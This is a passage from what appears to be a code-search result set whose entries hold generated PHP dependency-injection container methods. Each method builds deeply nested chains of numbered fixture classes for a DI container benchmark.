\\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "01907750fbe30f836b96d932f6d06f05", "score": "0.6706506", "text": "protected function getClass1Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class1();\n }", "title": "" }, { "docid": "3d5d141667ddddb84233f5bd3ccc58ec", "score": "0.6704854", "text": "protected function getClass65Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "129e79bbe79c55dcc76e8da9df8dd3c5", "score": "0.6695496", "text": "protected function getClass31Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "b774c8d8077a3335a5d35e5d67346f04", "score": "0.6690512", "text": "protected function getClass39Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "dbc8e1eb011d420562a398b8c324d7b7", "score": "0.66788113", "text": "protected function getClass66Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "21f959e7ce0e6b714b4a7a77e5cbfdf0", "score": "0.66769165", "text": "protected function getClass63Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "e734055ffde20e6bd82c7b4dc004198f", "score": "0.667597", "text": "protected function getClass3Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()));\n }", "title": "" }, { "docid": "959d692b75352f30d1fd62678e7a12f9", "score": "0.6663365", "text": "protected function getClass42Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "c5b6cca03f8fbf2184683dcf1141fdec", "score": "0.66515136", "text": "protected function getClass13Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))));\n }", "title": "" }, { "docid": "e53648875bae1556569f665edc458754", "score": "0.66345674", "text": "protected function getClass67Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "b271ab5c205c15ff978fc53b6cb12954", "score": "0.66336864", "text": "protected function getClass54Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "fba0f64777d8420d7095102e1bac99e0", "score": "0.6626124", "text": "protected function getClass36Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "4f6abfaf5f761a4372fa077208fafc2f", "score": "0.66189355", "text": "protected function getClass81Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new 